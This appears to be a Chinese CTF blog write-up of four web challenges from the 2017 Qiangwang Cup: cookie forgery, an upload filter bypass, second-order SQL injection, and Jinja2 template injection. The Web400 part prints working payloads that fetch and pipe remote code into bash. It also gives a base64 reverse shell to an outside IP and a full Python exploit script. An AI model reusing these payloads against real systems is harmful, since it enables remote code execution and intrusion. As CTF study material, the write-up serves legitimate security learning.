Pr0ph3t

char nick[7] = "Pr0ph3t";

printf("https://github.com/%s\n",nick);

printf("%s\x40pr0ph3t\x2e\\\bcom\n","admin");

puts("91B6 191A C2C3 285C 201D  801B B5A3 6B56 8528 E140");

[2017强网杯] Web Writeup

Sep 11, 2017 • CyberSecurity,writeup,old Page view:

Web50 :

  • 题目名称:Broken
  • 题目url:动态url

首先一进去之后发现有file链接,点进去之后是一串JSFuck index 然后丢去在线网站解密发现报错,应该是格式出错了 解密报错 这里我选择从解密网站的源码中抽出那段还没有eval的部分,单独执行一次,得出一段结果之后再拿去解密还是不行,这时丢进去Sublime格式化一下之后发现最下面缺少了一个 ],补上之后直接eval,发现有一个数组 数组

点开之后找到flag 螢幕快照 2017-09-10 22.40.51.png


Web100:

  • 题目名称:Who are you?
  • 题目链接:动态url

进去之后有一句话 Sorry. You have no permissions. 看Cookie后发现set了一个可疑cookie名字叫role,base64解密后是这个东西 f:5:"thrfg"; 估计中间的字符串要变成相应的admin,脑洞大发直接将中间的rot13后就变成了guest,直接改成admin后再rot13再base64,然后修改cookie role成为这个之后进去另外一个页面,页面提示Hello admin, now you can upload something you are easy to forget. 然后查看源码发现注释<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->Hello admin, now you can upload something you are easy to forget.</body> 随便post一个filename为fuck.php,data是123的文件上去 upload

发现后缀名是可以控制的,一开始的想法是在data里面写shell,但是发现过滤了左尖括号,很多姿势都没办法用,然后猜测后台使用了file_put_content这个函数,查看官方文档发现这个函数是可以接受数组的,尝试上传一个数组上去后绕过检测,打开上传之后的文件发现flag poc


Web200

  • 题目名称:Phone Number
  • 题目链接:动态url

进去之后发现是一个注册登录的界面,自然是首先想到的是注入,正常注册一个账号登录之后有这样的一个界面 登录后

并且在点击check后注释中有这样一句话<!-- 听说admin的电话藏着大秘密哦~--&rt; 首先想到的是利用admin表长度限制的漏洞进行越权注册,发现没啥用。 然后想到的是二次注入,发现在用户名的地方是被addslash了无法注入,其次尝试phone,发现在注册的时候phone的长度作了限制,并且只能提交数字,这里使用了三个小技巧 1、phone的长度是前端做限制的,所以可以截包修改 2、sql是可以接收一段经过hex转换后的sql语句并执行的 3、在php中intval是把hex当作数字的

这里很明确就是直接在注册的时候把注入语句转换成hex然后截包提交后登录点击check实现二次注入 exp:0x3120756e696f6e2073656c6563742070686f6e652066726f6d207573657223 直接上poc:

poc


Web400:

  • 题目名称:Musee de X
  • 题目链接:动态url

这是一个Django搭建的网站,Debug没有关,所以出错的时候能看到很多重要信息,包括关键代码和settings信息 进去之后是一个捐赠的网站,捐赠的是一个url链接,要图片,正常操作应该是将用户名做成水印写上去。尝试着输入一个非图片的链接,报错,看到关键代码是将图片重新绘制的,所以打消了上传马的念头。。。然后看到关键代码中有使用jinja2的模板 99行处 之前有一个cve是爆出jinja2有格式化字符串的漏洞,这个漏洞平时ctf比赛接触得比较少。。所以还是不太熟悉,找了好久。。。最后发现username是利用点,格式化字符串之后的结果会绘制在图片中。 注册一个名字为{{10+50}}的用户,正常进贡一张图片,发现

用户名被计算

直接百度到exp(http://www.freebuf.com/articles/system/97146.html)) 然后发现太长的exp是不能注册的。。。带/的也不行,这里有几个骚操作:

方法一: 最简单的方法是在自己的vps上开启http服务,将反弹shell的指令写入默认主页,也就是index.html或者是index.php

index.php

然后注册exp为

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].system('curl 139.199.206.219|bash') }}{% endif %}{% endfor %}

正常进贡图片,就能反弹到shell了

反弹shell

poc

方法二: 比较骚但是有点麻烦 这里因为长度的限制和/过滤的问题不能直接执行反弹shell的语句 这里我们直接将反弹shell语句base64一下之后一个个字写到一个文件 也就是 echo -n 'A' >> 1 这里注意要加-n 因为echo默认是在最后面加入一个换行符 最后执行 cat 1 | base64 -d |bash就行了 附上脚本:

import requests
import re

#csrfmiddlewaretoken
payload = 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwNi4yMTkvODA4OCAwPiYxCg=='
reg_url = 'http://db09b4708fa042e0a372daf2f1da7ba0aca963ed40124ae0.game.ichunqiu.com/register.php'
login_url = 'http://db09b4708fa042e0a372daf2f1da7ba0aca963ed40124ae0.game.ichunqiu.com/login.php'
rce_url = 'http://db09b4708fa042e0a372daf2f1da7ba0aca963ed40124ae0.game.ichunqiu.com/donate.php'

se = requests.Session()

def getToken(content):
	token = re.findall('name="csrfmiddlewaretoken" value="(.*?)"', content ,re.S | re.M)
	if token != []:
		return token[0]
	else:
		exit('token not found')

def doReg(username):
	res = se.get(reg_url)
	token = getToken(res.content)
	res = se.post(reg_url, data={'username':username,'password':'123','csrfmiddlewaretoken':token})
	doLogin(username)

def doLogin(username):
	res = se.get(login_url)
	token = getToken(res.content)
	res = se.post(login_url, data={'username':username, 'password':'123', 'csrfmiddlewaretoken':token})
	if 'Head on over' in res.content:
		rce(username)
	else:
		exit('login fail')

def rce(username):
	res = se.get(rce_url)
	token = getToken(res.content)
	res = se.post(rce_url, data={'url':'http://139.199.206.219/1.png', 'text':username, 'csrfmiddlewaretoken':token, 'submit':'Go!'})
	if '/view/1' in res.content:
		return True
	else:
		print res.content
		exit('upload fail')

for x in payload:
	username = "{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%} {{c.__init__.func_globals['linecache'].__dict__['os'].system('echo -n %s >> 1') }} {%% endif %%} {%% endfor %%}" % x
	print username
	# print username
	# exit()
	try:
		doReg(username)
	except Exception as e:
		print e
		continue
print '[*] Success!'
print '[*] Using WebShell.......'
username = "{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{c.__init__.func_globals['linecache'].__dict__['os'].system('cat 1 | base64 -d|bash') }} {% endif %} {% endfor %}"
print username
doReg(username)
# doLogin(username)
print '[*] Enjoy Your WebShell......'

Did you like the post? Subscribe to the feed.

Thx!